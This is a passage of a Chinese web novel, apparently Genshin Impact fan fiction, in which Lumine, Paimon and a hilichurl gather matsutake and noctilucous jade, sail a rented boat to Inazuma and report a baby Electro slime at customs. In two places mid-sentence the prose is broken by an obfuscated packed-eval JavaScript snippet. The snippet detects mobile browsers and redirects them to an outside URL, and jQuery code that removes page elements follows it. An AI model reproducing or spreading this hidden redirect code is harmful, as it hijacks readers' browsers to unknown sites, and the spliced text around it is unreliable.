派蒙纠结了好一会儿："好吧。一颗就一颗。但得是最大的。"她咽了一下口水，"初号机烤松茸应该很好吃吧？撒点盐就行。不对，再配一碟酱油，蘸着吃。"她说着说着自己流了口水。 荧没接话。她翻开账本，在新的一页上写了下来： "下一步：绝云间采集。" 45.绝云间采集 绝云间的山路比想象中难走。 荧一脚踩进苔藓坑里，鞋袜全湿了。派蒙飘在头顶幸灾乐祸，初号机在后面背着大竹筐走得倒是稳当。 出发前老周头画了路线图，说松茸在半山腰背阴林子里，琉璃袋贴着崖壁长，清心花在更高的地方。他还特别叮嘱了两件事：岩龙蜥爱在开阔的石台上晒太阳，看到就绕；听到金属响动是遗迹猎者，别打，跑。 荧把这些全记在笔记本上了。干粮按五天的量带，多出来的算安全余量。 走到半山腰的时候，她停下来分配任务。 "初号机，今天的任务是采集。采，集。" 初号机歪头："呀？" "就是把能卖钱的东西摘下来。松茸、琉璃袋、清心花。" 初号机点头，四处扫了一圈，突然冲向路边灌木丛。 一阵扑腾。一只山鸡惨叫着飞走了。 初号机两手空空站在原地。它指着山鸡逃走的方向，又指自己的脚，比划了个踩的动作。 "你听成踩鸡了？" 初号机用力点头："呀！" 派蒙笑得歪到一边。荧从地上捡起一颗野果，做了个摘的动作放进筐里。"采。摘东西。不是踩。" 初号机挠了挠头，拍胸口："呀！" 背阴林子里，松茸果然多。翻开落叶就能看到一簇一簇的，伞盖饱满，品相不错。 荧蹲下来示范。松茸不能硬拔，要从根部用小刀切断，保留菌丝让它下次还能长。她连切了五颗，动作慢但干净。 初号机蹲在旁边看了五颗才动手。第一刀切歪了，伞盖磕出一道印子。荧摇头，重新示范了一遍角度。初号机试了第二刀，好了一些，但还是不够利落。到第七八颗的时候才稳定下来。它手粗，精细活确实要多练。 派蒙在空中找松茸的分布。"右前方那棵歪脖子树底下有一大片。"她飘过去确认，"至少二十颗！" 三个人配合起来效率不错：派蒙空中侦察，荧和初号机地面采割。荧顺手把采好的松茸分成两堆，品相好的单放，磕碰过的另放。上辈子做项目管理养成的分类习惯，穿越了也改不掉。 到傍晚，采了大约四十斤鲜松茸。荧把每一片采过的林地都在笔记本上标了位置，注明菌丝保留情况，下次来就不用重新找。这片山够采好几趟的。 琉璃袋是初号机的活。它攀崖壁的本事比荧强太多，手脚并用往上爬，扣下来八十多个琉璃袋扔进筐里。荧在下面接，派蒙在旁边数。 清心花长得更高，只能荧自己爬。崖壁上的石头又湿又滑，她爬了三趟，手臂上多了好几道划痕，摘了十二朵。 收工后，荧立刻搭晾晒架。竹架零件是从客栈带来的，组装起来正好三层。松茸薄薄地摊开，间距留够，不能叠压。 "鲜松茸六个时辰内不摊开就废了。"她一边摆一边对派蒙说，"摊开之后不用太频繁翻动，半天翻一次面就行，翻多了反而伤菌子结构。你来记着时间。" 派蒙掏出本子认真记："翻面。半天一次。收到。" 营地搭在一处山壁凹进去的石窝里，天然避风。初号机生了火，荧烤了几颗品相差的松茸当晚饭。撒了盐，香得派蒙眼珠子都不转了。 派蒙吃了三颗，伸手拿第四颗，被荧挡住。 "说好的留一颗最大的。你已经吃了三颗了。" 派蒙缩手，看了一眼竹筐里那颗伞盖最大的松茸。"那颗是留着回去让初号机烤的对吧？" "对。碰都别碰。" "四十五摩拉没了。"派蒙在本子上记了一笔，"从我的奖金里扣。" "什么奖金？" "还没发呢。" 夜里，荧安排了守夜。初号机上半夜，她下半夜。老周头说遗迹猎者看运气，不能不防。 轮到荧守夜的时候，她去翻了一遍松茸。夜里山上湿气重，好在竹架摆在石窝里，上面有岩壁遮挡，不至于被露水打湿。她把朝外的那排换到里层，里层的翻面朝外。 翻完松茸回来坐下，她注意到石窝深处岩壁底部有个不规则的缺口，像是被人凿过又被碎石半堵住了。缺口深处有微弱的蓝光。 万叶说过：夜泊石遇暗发光。 荧没有贸然进去。她记下了位置，等天亮再说。 第二天一早，荧先翻了松茸，确认没有发霉的迹象。然后让初号机清理缺口处的碎石。 洞口打开后，一股凉气涌出来。荧先把火把伸进去观察。火苗没灭，轻微摇晃，说明有微弱的空气流通，不至于缺氧。她又让初号机用棍子敲了敲洞口上方的岩壁，没有松动的碎石掉落。 往里走了十来步，洞壁上密密麻麻嵌着深蓝色的矿石，遮住火把光的时候泛出幽蓝色的荧光。 夜泊石。 老周头说过，绝云间山腹有几条废弃矿洞，是明蕴镇的矿工以前沿着地下矿脉探过来的支脉。嫌从这边运回去太远，封洞走了。这条矿脉一直没人动过。 荧退出矿洞，坐在洞口，翻开笔记本。 她没有急着挖。 "原计划。"她在本子上写，"采集松茸等物资，预估收入两三千摩拉。现在多了一条夜泊石矿脉。计划调整如下。" 她列了三条：第一，采集任务已经完成大半，松茸在晾，琉璃袋和清心花够了。第二，夜泊石单价远高于采集物，值得追加时间。第三，风险评估，矿洞通风勉强够用，但不能长待，每次进洞不超过两刻钟，出来换气。最大风险：遗迹猎者。老周头说了看运气。干粮还够三天，最迟后天午后必须下山。 "不是计划作废。"她对派蒙说，"是计划升级。采集照收，挖矿追加。" 派蒙看了看洞口的蓝光，再看了看荧的笔记本。 "那我们能挖多少？" "看时间和体力。不贪。后天午后是死线，不管挖了多少都撤。" 荧定了分工：初号机进洞凿矿，荧在洞口负责取石和包裹。万叶说过夜泊石脆，碰撞就裂，所以每块取出来都要立刻用干草和旧衣服裹好。派蒙一半时间在洞口计数，一半时间守营地外围，听到金属响动立刻通知。 "初号机。"荧拿了块普通岩石做示范，"凿的时候沿着石头和岩壁的接缝，小力，慢敲。不能一锤子砸。碎了就白干。" 初号机看着她敲了三下，点头。进洞之后头几块确实控制不好力道，敲碎了两颗。但它调整得比采松茸快，凿矿不需要精细的刀工，靠的是力道控制和耐心，这是丘丘人的长项。到第十块的时候已经很稳了。 荧在洞口接石头，逐块用干草裹紧塞进麻袋。品相好的单独放，碎的扔一边。每两刻钟喊初号机出来换气。中间派蒙提醒到时间了，荧去翻了一遍松茸，前后没耽误多久。 第二天挖了一整天。日落前清点：一百六十二块。拇指大的普通品一百一十多块，鸡蛋大的中品四十来块，拳头大的极品八块。敲碎报废的有十几块，全是普通品。 派蒙只在收工的时候算了一次账："普通品按三十摩拉，中品按一百，极品按一千。万叶说拳头大无杂质的能卖上千。今天挖的这批大概一万五左右。" 荧核了一遍，没有问题。 当晚她又翻了松茸。第二天的松茸已经明显缩水变轻了，颜色从金黄变成深褐，散发出浓郁的干菌香气。晾晒进展正常。 第三天上午，继续挖。初号机的效率比第一天高了不少，矿脉越往里品相越好，中品比例明显上升。 荧在洞口包石头的时候，派蒙突然从营地方向飞过来，表情不对。 "金属声。" 荧手上的动作停了。 "什么方向？" "山脊那边。很远，但在靠近。" 老周头的话在脑子里过了一遍：听到金属响动是遗迹猎者，别打，跑。 荧往洞口探头："初号机，出来。" 初号机正在里面凿一块品相极好的极品夜泊石，拳头大，发光均匀。它回头看了荧一眼，犹豫了一下。 "现在。" 初号机放下凿子出来了。它回头看了一眼那块还连在岩壁上的半成品，但没伸手去拿。 荧没时间可惜。"收东西。先走松茸。" 派蒙回头看了一眼矿洞口，嘴唇动了动，想说什么又咽回去了。 三个人的撤离很快。荧拆竹架、收松茸的动作一气呵成，晾了两天的松茸已经很轻了，全部塞进一个麻袋。初号机把裹好的夜泊石分装进三个麻袋，琉璃袋和清心花塞进竹筐。 金属声更近了。不是一台遗迹猎者，听节奏至少两台。 派蒙飘在空中往山脊方向看了一眼，脸色白了："看到了。两台，还在山脊上面，正往下走。" "走。" 初号机背竹筐加两袋夜泊石。荧背一袋夜泊石和松茸。派蒙抱着琉璃袋和清心花飘在前面探路。 三个人往反方向的山坡快速下撤。荧边走边回头听，金属声没有跟过来，遗迹猎者的巡逻路线大概是沿着山脊走的，没有拐向他们营地的方向。走了大约一刻钟，金属声彻底听不见了。荧才放慢脚步。 派蒙这时候才开口："里面还有好多没挖的。起码还能再出一两百块。" "命比石头贵。" 派蒙叹了口气，在本子上写："绝云间矿洞，尚有余量。下次带更多人来。" 确认安全之后，荧对照笔记本上的路线图，沿山腰横切了一段，重新绕回了下山 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17197057|193652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的主路。 下山的时候经过一处开阔的石台，荧拉住初号机停步。石台正中央趴着一只岩龙蜥，体型比初号机还大一圈，灰褐色的鳞甲和石头几乎一个颜色，不仔细看根本发现不了。它闭着眼晒太阳，尾巴慢悠悠地扫着地面。老周头说过，这种地方就是它们的地盘。荧比了个手势，三个人蹲着身子从石台下方的矮坡绕了过去，多走了一段路。 下到荻花洲的湿地边上，荧在路口的车马行花一百五十摩拉租了辆马车，让车夫走慢走稳。 回到望舒客栈已经入夜。二号机和三号机跑出来接货。它们一直留在客栈管日常，这趟没带是因为采集只需要一个体力型搭档，留两个看店更合理。 荧在地窖里逐块检查夜泊石。路上颠碎了三块普通品，其余完好。 最终清点： 夜泊石两百七十三块。普通品一百八十六块，中品七十一块，极品十六块。 松茸四十斤鲜货晾了两天，折干货约四斤半。按一颗均重两钱算，大概两百二十来颗。干松茸十五到二十摩拉一颗，取中间值算，约三千七百摩拉。 琉璃袋八十个，四百摩拉。清心花十二朵，一百八十摩拉。 夜泊石：普通品一百八十六块按三十摩拉计五千五百八十，中品七十一块按一百摩拉计七千一百，极品十六块按一千摩拉计一万六千。合计两万八千六百八十摩拉。 总预估收入：三万两千九百六十摩拉。 派蒙把这个数字写下来的时候手停了好一会儿。 "三万两千。" "前提是全卖掉。"荧在数字旁边标注，"本地市场未必吃得下这个量，可能需要分批出货或走远洋。" 她又翻到成本页：干粮工具一百五十摩拉（自带竹架、麻袋、旧衣服为客栈自有物资，不计额外支出），租马车一百五十摩拉，初号机加餐三十摩拉。总成本三百三十摩拉。 上辈子做策划的时候，百分之十五的利润率就算好项目了。 她合上账本，翻开笔记本写储存方案。 夜泊石的储存，万叶教过：棉布裹三层，箱子填木屑，禁止叠放。两百多块石头要裹三层布，布不够。荧在方案里标注：先用现有布料单裹入箱，明天去璃月港采购棉布补到三层。木箱找老周头要几个，他以前在绝云间采药，客栈库房里还存着他当年装药材的旧木箱。木屑正好有现成的，上次修船刨垂香木剩了不少刨花，让二号机明天收拢装袋就行。 派蒙凑过来："冰史莱姆！让地窖里的冰史莱姆趴在箱子周围。它们身体软弹，天然缓冲垫。" 荧想了想。冰史莱姆的身体确实有弹性，物理缓冲说得过去。"可以，加上。" "还有，松茸要通风。"派蒙说这句的时候特意强调了三遍："通风，通风，通风。" 荧看了她一眼。 派蒙得意地晃了晃笔记本："北斗说的。我记着呢。我可以每天飞到晾晒架上面扇风，派蒙牌人工通风系统。" 荧在方案里写："派蒙负责每日通风。预计坚持三天。" 派蒙看到了，鼓了鼓腮帮子，没反驳。 当晚三号机给初号机做了加餐。初号机吃得满嘴流油，吃完靠在墙角就睡着了。这趟山上三天，采集搬运挖矿守夜，最重的活全是它扛的。荧把它手上沾的矿渣擦了擦，盖了条毯子。万叶说它力气大又小心，这趟确实验证了。 荧回到前台，铺开航海图。 下一步：把松茸和夜泊石装上稳沉号，走一趟璃月港到望风山岬角的近海航线。北斗考试时她漏了这个补给点，正好实地跑一趟补上。沿途停靠的港口可以试着出一批货，看看市场反应。 不过装货之前得先检查船况。上次考核的时候左舷旧板发出过吱嘎声，北斗说过那边的朽坏只是还没彻底暴露。载了货吃水变深，左舷压力更大，不加固就出海等于赌命。明天先让初号机把左舷最薄的几块旧板换掉，垂香木还剩几块备料。 夜泊石的打包方案还需要再细化。稳沉号船舱不大，两百多块石头全装上去加上松茸，航速会降，遇到风浪船身晃动也更大。万叶教的防震方法得严格执行。 她在航海图上标了三个备选停靠点，每个旁边注了当地最可能有需求的货品。 派蒙已经趴在桌上睡了，手里还攥着那本写满数字的笔记本。嘴角挂着口水，嘟嘟囔囔说了句什么，荧凑近听了一下。 "还能再挖两百块……" 荧把她的笔记本抽出来，翻到最后一页。派蒙在最底下画了个简笔画：一个圆圆的小人站在一座金币山顶上，旁边写着"派蒙的退休计划"。 荧看了两秒，合上了笔记本。 退休是不可能退休的。明天还得搬石头。 46.第三次出海 出发之前，荧先跑了一趟望风山岬角。 这是北斗考试时她漏掉的补给点，不亲自跑一趟不踏实。三天往返，沿途在两个港口各卖了一批琉璃袋和清心花，回来的时候口袋里多了五百多摩拉。不算多，但验证了一件事：璃月本地对璃月特产没什么溢价。 夜泊石一块没动。 回来之后她坐在前台翻开凝光那份稻妻航线文件。试点商户的第三条要求：提供至少一种跨区域特色商品或服务。夜泊石正好。稻妻本地产量极低，锁国令期间完全断供，市场缺口很大。两百七十三块运过去，价格翻两到三倍不成问题。 凝光说航线两个月后正式开通。荧算了一下，从拿到文件到现在，加上修船、绝云间采集、跑望风山的时间，离开通还有大概半个月。官方定期船次一开，璃月港的大商户会一窝蜂涌进去，到时候稻妻的夜泊石卖方市场瞬间变成买方市场。 抢在定期航线前到稻妻，就是凝光说的"先发优势"。半个月够一个单程了。 不过在这之前，有几件事必须先解决。 第一件：稳沉号的租约。 月租一千五百摩拉，租期三个月，租来跑近海的。现在要拿去跑远洋，单程八到十天，来回加上在稻妻停靠至少二十天，超出了原来的使用范围。 荧去码头找了船主老头。 老头听完她的计划，那只永远半睁的眼睛完全睁开了。 "你要拿我这条船跑稻妻？" "补了右舷十二块新板，换了左舷四块，麻筋全部重新塞过。"荧把修船记录翻给他看，"船况比租给我的时候好。" 老头翻了翻记录，停在万叶签字的那几页上看了一会儿。"万叶？南十字的那个？" "他帮我们修的船，北斗的人。" 老头沉默了。他在码头混了几十年，南十字三个字的分量他清楚。 "租金照旧。"他最后说，"但出了事别来找我。这条船当初就没打算跑远洋。" "我知道。" 老头看了她一眼。"右舷第三块板补过了？" 荧点头。那块踩三下就掉的板，第一次出海前就补过了，第二次出海前又加固过一回，修船的时候万叶亲手换了新的垂香木板。三条命，这块板已经换了三次了。 "行。"老头转身走了。走了两步又回头，"风暴天别硬扛。你那条船吃不住远洋大浪。" 第二件：冰史莱姆。 三十只冰史莱姆是抵押给行秋的，每只估值五十摩拉，有正式的资产评估报告。荧想带两只上船当货舱缓冲垫，得先跟行秋打招呼。 行秋翻了翻那份他留着的评估报告。 "带两只出远洋，元素力衰减是必然的。如果缩成核心休眠，估值会降。" 荧："回璃月泡冰水能恢复。损耗我承担，回来之后补差价。" 行秋看了她一眼。"你每次来找我，都是拿一个听起来很荒谬但逻辑自洽的方案。上次是用冰果冻做抵押融资，这次是借走抵押物出远洋当减震器。" "创新型资产管理。" "不是夸你。"行秋合上报告，"两只可以。回来估值不够的话，从你的货运收入里扣。" 荧在心里算了一下。两只冰史莱姆估值一百摩拉，远洋八天的元素力衰减大概损耗三四成，差价最多四五十摩拉。跟夜泊石翻倍的利润比，这笔账不亏。 前世做策划的时候把这叫"可控成本"。现在叫"拿冰果冻赌命的成本"。 第三件：航线和情报。 荧先去找了独眼龙的人。第二次出海签的供货协议里有一条：每月三百摩拉的外海航路情报。她花了三百摩拉买了一份稻妻方向的海况报告，虽然独眼龙的活动范围主要在璃月近海，但对远洋入口段的洋流和风向规律有经验。 报告上标了两个关键信息：这个季节璃月外海到稻妻海域的主洋流偏东南，顺流走可以省一到两天；稻妻海域进入后雷暴频率极高，木船要特别小心。 然后她去找北斗。 北斗听完，靠在椅子上看了她半天。 "你已经跑了两趟近海了。第一趟翻船被我拖回来，第二趟遇海盗跟人家签了供货协议。说实话，敢跑第三趟我不意外。" 她问了三个问题：淡水带多少天的量，遇到风暴怎么办，稳沉号的最大载重吃水线在哪。 荧全答上来了。淡水按十二天备，多出来算冗余。风暴天不硬扛，按应急流程处理。吃水线装满货比空船深四寸，安全范围内但余量不多。 北斗点头，翻出一张手绘航线图。 "璃月港出发，沿海岸线到孤云阁外港，补淡水。然后切入远洋走东南航道，顺着这个季节的主洋流。中途经过一片叫浮石滩的浅礁区，那里不能停靠但可以紧急下锚避风，我在图上标了。到稻妻海域后沿列岛北侧进离岛港。" 荧把航线誊到自己的海图上，每个转向点都标了坐标。 "稻妻那边天气变得快，雷暴多。船上别带任何雷元素的东西，雷矿石、雷史莱姆，全不行。木船引雷一劈就着。" 荧记下了。 "对了。"北斗看了看她，"老周头不跟你去？" 荧摇头。"他说他跑了三十年船，近海的每块礁石都认识，但远洋没去过。不熟的航线他不上船，怕拖后腿。让我按北斗姐教的走，比他瞎指挥强。" 北斗笑了一声。"老头倒是有自知之明。那你船上就你、派蒙和初号机三个？" "够了。稳沉号是小船，人多了吃水更深。" 北斗从抽屉里拿出一张纸。"这是勘定奉行的入港预批文，我提前帮你递了申请。离岛港有南十字的联络人叫小林，到了找他对接入港手续。" 回客栈之后荧花了两天做准备。 船况检查：右舷十二块新板状态良好，第三块板踩上去纹丝不动。左舷换了四块，其余旧板逐块敲过，有三块声音发闷，她在笔记本上标了位置。 货物打包：夜泊石六箱全部用绳索绑在货舱架子横杆上，出发前就绑好。松茸密封布袋挂在上方通风位。冰史莱姆两只贴着箱底当缓冲。 淡水十二天，干粮同。备用麻筋、防水漆、帆布、绳索各一份。 避水符两张。一张是钟离出发前送的，往生堂工艺，手工纹路；另一张是第二次出海前派蒙花了八十摩拉买的。荧把两张都揣在防水布袋里贴身放好。 派蒙看她收避水符的时候安静了一会儿。 "荧，上次在远洋遇风暴的时候，我被吹到半空，嘴里灌了满口海草。" 荧停下手里的动作，看了她一眼。 "这次也可能遇风暴。"派蒙的声音比平时小，"我不是怕。就是提前跟你说一声，万一我又被吹飞了，你别急着找我，先管好舵。我飘得回来。" 荧没说话。她从布袋里拿出那张派蒙自己买的避水符，递给她。 "自己拿着。" 派蒙接过去，攥在手里捏了捏。"八十摩拉呢。弄丢了从奖金里扣。" "你没有奖金。" "那就从下次的奖金里扣。" 出发当天，初号机检查了每根绳子，每个绳扣拽两下试松紧。老周头站在码头上看着他们装货，没上船，但帮着把最后两箱夜泊石递上去。递完了他又蹲下来看了看船底的水线，用手指刮了刮左舷靠水线的一块旧板，闻了闻指头上的木屑。三十年跑船的习惯，看船跟看人一样，先看脚下。 "左舷这几块旧板味道有点冲，木头已经开始发酸了。到了稻妻别急着回来，找个船坞把左舷全换了再走。" "一路顺风。"老周头直起腰，"到了稻妻别忘了问问他们的鱼价，我好奇。" 荧操舵驶出璃月港。 想起第一次出海的时候，她连"收帆"都听不懂，差点被帆绳甩进海里。现在握着舵轮的手稳了很多。北斗教的东西确实刻进去了。 如果说第一次出海是青铜局，第二次是白银局，这次大概是黄金局。段位涨得快，代价是每局都差点被淘汰。 前三天沿海段，风向稳，航速正常。荧每天傍晚检查货舱：箱子没移位，绳索没松，冰史莱姆正常，松茸密封袋干燥。 派蒙在桅杆上瞭望。第一天喊了半天"前方无异常"，第二天精简成"没事"，第三天直接喊"同上"。 孤云阁外港补了淡水，歇了半天。港口的渔民证实了独眼龙情报里说的洋流方向，还补了一条："最近稻妻那边雷暴比往年多，走远洋的船少了一半。" 荧在海图上标了这条，然后把货舱重新检查了一遍，确认没有带任何雷元素物品。又检查了帆面和桅杆的金属件，把桅杆顶部的铁质风向标拆了下来换成木头的。笔记本上加了一行："进入稻妻海域后，遇积雨云立刻收帆下锚，不抢航速。" 第四天，切入远洋。 海岸线消失的时候荧的手心捏紧了舵轮。全靠海图和星象。每隔两个时辰测一次星位，前两次偏了，第三次修正回来。独眼龙的情报没骗人，主洋流确实偏东南，顺着走速度快了不少。 派蒙一直没说话。她飘在桅杆上，手不自觉地摸了摸怀里那张避水符。第一次出海在这片海域被风暴卷飞的记忆太清晰了，海草的味道她到现在都记得。 她低头看了看避水符，又抬头看了看天。晴的。她把符塞回去，深呼吸了一口，把自己往桅杆顶上又飘高了一点。视野更开阔，也更容易被风吹走。但瞭望员的位置就该在最高处。 "荧，前方无异常。"声音比平时紧了一点，但该说的一个字没少。 派蒙趴在船舷上看海看了很久。"荧，第一次出海的时候我说过''大海好大''。现在我觉得那次说早了。这才叫大。大到让人想回家数摩拉。" 第五天。风向有轻微变化。 傍晚检查货舱，冰史莱姆比出发时小了一圈。体表还是冰晶质感，没有化水，但明显缩了。元素力在衰减，预期范围内。 松茸布袋打开闻了闻，干菌香正常。 同一天晚上，初号机值夜。它忽然竖起耳朵，趴到甲板上听了一会儿。船底有轻微的刮擦声，像什么小东西蹭着船板外侧爬。它拿起木棒蹲了好一会儿，声音没了。它没叫醒荧，但把这件事记在了自己的小本子上，画了一个船底和一个问号。 第六天，进入稻妻海域边缘。 海水温度升高，空气黏腻。远处积雨云堆叠。荧调帆调了好几次，风向不稳。 货舱里冰史莱姆又缩了一圈，拳头大了。表面从光滑冰晶变成半透明雾蒙蒙的质感，缓冲弹性明显下降。 下午，派蒙从桅杆上下来："刚才看到船尾水线附近有个东西贴着船身走了一小段，紫色的，很小，后来不见了。" "什么形状？" "没看清。可能是水母。" 当晚检查货舱，左舷底部一条旧缝在轻微渗水。出发前标注的三块"声音发闷"的旧板之一。远洋涌浪大，老麻筋松了。 荧从内侧贴帆布加压，木板顶住。北斗教过，水线以下航行中只能临时止漏，彻底修要靠岸。渗水从流变成偶尔滴。 " ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17204408|193652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 初号机，从现在开始每两个时辰舀一次舱底水。" 初号机拍胸口。它把自己小本子上画的船底和问号翻给荧看。 荧看了一眼。"你昨晚听到的声音？" 初号机点头。 荧想了想。刮擦声，紫色小东西。可能有关系，也可能没有。先记下。 笔记本上记了两行："左舷第七块旧板渗水。到港后全部换新。""初号机Day5夜间报告船底刮擦声，派蒙Day6报告船尾紫色不明物体。待观察。" 第七天。 夜里涌浪晃了几下。荧跳起来冲进货舱。箱子绑得牢，但其中一个里面传来轻微磕碰声。打开检查，两块普通品夜泊石棉布裹层松了，一块边角磕出细纹。 重新裹紧，加麻绳固定。磕碎的单独拿出来。 万叶教的时候说过，棉布裹三层、扎死、禁止叠放，但没说单块要绑麻绳。因为万叶教的是静态储存的方法，没考虑远洋涌浪下箱子反复晃动的情况。静态够用，动态不够。这个差距是培训里学不到的，只有真跑一趟才知道。 笔记本："下次打包每块单独绑麻绳。万叶的方法适用于仓储，远洋运输需要加固一级。损失一块普通品，约三十摩拉。" 冰史莱姆缩到鸡蛋大小，表面雾化，发着淡蓝微光。 中午，派蒙从桅杆上飞下来。"荧，我要休息一会儿。" "你上去才两刻钟。" "风太大了飘不稳。而且这两天帮你检查货舱、舀水、盯渗漏，一直没停。" 确实。"休息吧。" 派蒙飘到甲板角落坐下。坐了一刻钟，又飞起来了。 "不行，没人瞭望不放心。" "你不是说休息一会儿？" 派蒙飘回桅杆顶："这不就是一会儿吗？" 下午检查松茸，密封完好，干菌香正常。笔记本："松茸密封方案可行，下次照搬。" 傍晚，初号机去舀舱底水。它蹲在货舱里没立刻起来，盯着角落架子底部看了好一会儿，然后回头指给荧。 架子横杆背面贴着一小团紫色胶质体，拇指肚大小，一动不动。 初号机忽然翻开自己的小本子，指了指上面画的船底和问号，又指了指那团紫色的东西，使劲点头。 它找到答案了。 荧举灯凑近。表面有极细微纹路，像凝固了。 她没碰它。 "派蒙，你前天说看到船尾有个紫色的东西？" 派蒙飘过来。"就这个？它怎么进来的？" 荧看了看左舷渗水的那条缝。帆布封堵是第六天晚上做的，但初号机第五天夜里就听到了船底的刮擦声。它在封堵之前就进来了。 "像史莱姆的幼体。"荧说，"紫色，很小，元素力还没发育完全，暂时不会放电。它贴在干燥木头上，周围没有水没有导电介质，暂时没危险。" "那扔出去？" "别碰。幼体受刺激可能本能释放微弱电流，货舱全是木头和布料。到港找稻妻本地人处理，他们对雷元素生物比我们熟。" 她没往船上带任何雷元素的东西。但这个不是她带的，是自己爬进来的。 笔记本："货舱发现疑似雷史莱姆幼体。Day5夜间经左舷渗水缝隙进入（封堵前）。暂未处理，到港第一时间清除。禁止接触，禁止用水冲。" 当晚荧每隔一个时辰去看一次。它没动，没变大。 初号机主动蹲在货舱门口守着，手里拿着木棒。它之前没叫醒荧，现在有点后悔。 第八天。 天亮。海面上出现岛屿轮廓。 稻妻列岛。 派蒙从桅杆上喊了一嗓子："陆地！" 荧对照海图。北侧进入，绕过外围礁石带。八天航程，中间修正了好几次方向，不算精准但到了。 稳沉号。一千五百摩拉月租的船，踩三下掉一块板的船，补了十六块新板的船。它居然真的从璃月开到了稻妻。如果船有朋友圈，这条应该能集一百个赞。 "那个东西怎么样了？" 刚检查过。比昨天大了一点，不明显，但确实在长。 "到港第一件事，找人处理。" 派蒙点头。然后才允许自己笑出来。"我们到稻妻了！凝光的试点任务，跨区域特色商品，搞定！" "先入港。" 离岛港口很热闹。荧按北斗航线从北侧进港，找到南十字联络人小林。精瘦的中年人，看了推荐函、商户认定和入港预批文，点头。 "手续没问题。货物需要勘定奉行开箱检验，每箱打开查。" 荧回到船上。 打开货舱门，一股温热潮气涌出来。六个木箱绑在架子上，货舱暗，夜泊石透过箱缝泛着幽蓝荧光。 冰史莱姆缩成弹珠大小的淡蓝色小球，微微发光。休眠了，核心还在，回璃月泡冰水能恢复。派蒙在本子上记了一行："冰史莱姆：休眠。元素力损耗待估值，回去找行秋结算差价。" 松茸布袋完好。 荧的目光最后停在架子底部横杆上。 那团紫色的东西又大了一圈。鸡蛋大了。表面纹路清晰，隐约能看出史莱姆轮廓。 它贴着的横杆是干燥的。但横杆正下方，是左舷渗水留下的一小滩积水。 积水和横杆之间，隔着大约三寸。 荧盯着那三寸看了两秒。 然后转身去找小林。 "开箱检验能不能快一点？我货舱里有个东西需要尽快处理。" 47.入境检查（上） 勘定奉行的检验官来得很快。 两个人。一个穿深蓝制服的中年人，一个跟在后面的年轻助手。中年人面无表情，手里夹着一摞表格。 稻妻的公务员和璃月的公务员长得不一样，但那种"我今天还有十七条船要查"的疲惫感是一样的。 "入境资质文件。" 船籍证明。货物申报单。南十字推荐函。入港预批文。璃月港商户认定。 一样一样递过去。检验官站在码头上逐份核对，在表格上打勾。 "有没有携带违禁品？" 派蒙在旁边歪了一下头："违金品？什么东西违了金？金子犯了什么错？" 荧："违禁品。禁止的禁。" 派蒙："哦。那没有。我们是正经商人。" 检验官没理她。文件核对完毕，他合上表格。 "登船检查。" 中年人踩上跳板，木头吱嘎响了一声。他上了甲板，目光沿着桅杆扫到帆面，又扫到舵轮，最后停在甲板上拆掉铁质风向标的位置。 "风向标呢？" "进入稻妻海域前拆了，换成木头的。"荧说，"避免雷暴天引雷。" 检验官看了她一眼。大概是没见过璃月商船会主动做防雷处理的。他在表格上记了一笔。 甲板检查完，他走到货舱门口。 "开舱。" 荧没有立刻开门。 "检验官，开舱之前有一件事需要提前说明。" 中年人停住了。 "航行途中，一只雷史莱姆的幼体从左舷渗水缝隙进入了货舱。体型很小，鸡蛋大，附着在货舱架子横杆背面。幼体元素力未发育完全，暂时不会主动放电，但受到物理刺激可能触发微弱的感电反应。" 她把笔记本翻到对应的那页给他看。"我在发现当天做了记录，标注了它的位置。货舱底部有左舷渗水形成的积水，靠岸前我让初号机把大部分积水舀过一遍了，但船体还在轻微渗，没法完全清干。" 检验官的表情变了。不是惊慌，是严肃。 他转向助手。"回去通知离岛值班所，让天领奉行的驻港同心过来处理。在人到之前，货舱封锁，所有人员撤离船体，任何人不得登船。" 助手跑了。 检验官带着荧和派蒙回到码头上。"你确定它没有主动放电过？" "八天航程中我每隔一个时辰检查一次，没有放电记录。它一直贴在干燥的木质横杆上，周围没有导电介质。但它在长大。昨天量过，比前天大了一圈。" "贵国的船怎么会有雷元素魔物？" "它不是我带的。璃月外海到稻妻海域的航路上，这个季节洋流偏东南，海里有大量雷元素生物的幼体随洋流迁徙。它大概是第五天夜间从船底渗水缝隙挤进来的，进来的时候可能只有指甲盖大小。" 检验官在表格上写了一大段。 大约两刻钟后，天领奉行的驻港同心到了。两个人，一个年长的负责人，一个年轻的助手，都穿着天领奉行的制服，背着带雷元素警示符号的装备箱。 负责人听完检验官的情况说明，又问了荧几个问题：幼体位置、货舱布局、积水深度、舱内有无金属构件。然后他和助手开始做准备。 绝缘木底靴，两双。绝缘胶皮长钳，一根。防火帆布，两块。小型绝缘容器，一个。 "标准取样流程。"负责人对检验官说，"先铺防火帆布隔离幼体周围区域，排干附近积水，然后用绝缘钳提取，放入密封容器。一成多发育度的幼体，应激放电的强度不会超过静电水平，不会有问题。" 两个人换了靴子，带上装备，走上跳板进了船。 码头上的人都在等。检验官站在一旁，表格夹在腋下。荧站在码头边缘，目光盯着稳沉号的货舱门。派蒙飘在荧旁边，一只手不自觉地摸着怀里的避水符。 舱里传来负责人的声音："目标确认，横杆背面，紫色胶质体。开始排水。" 安静了一会儿。 "排水完毕。铺设防火帆布。" 等了一会儿。 "准备提取。" 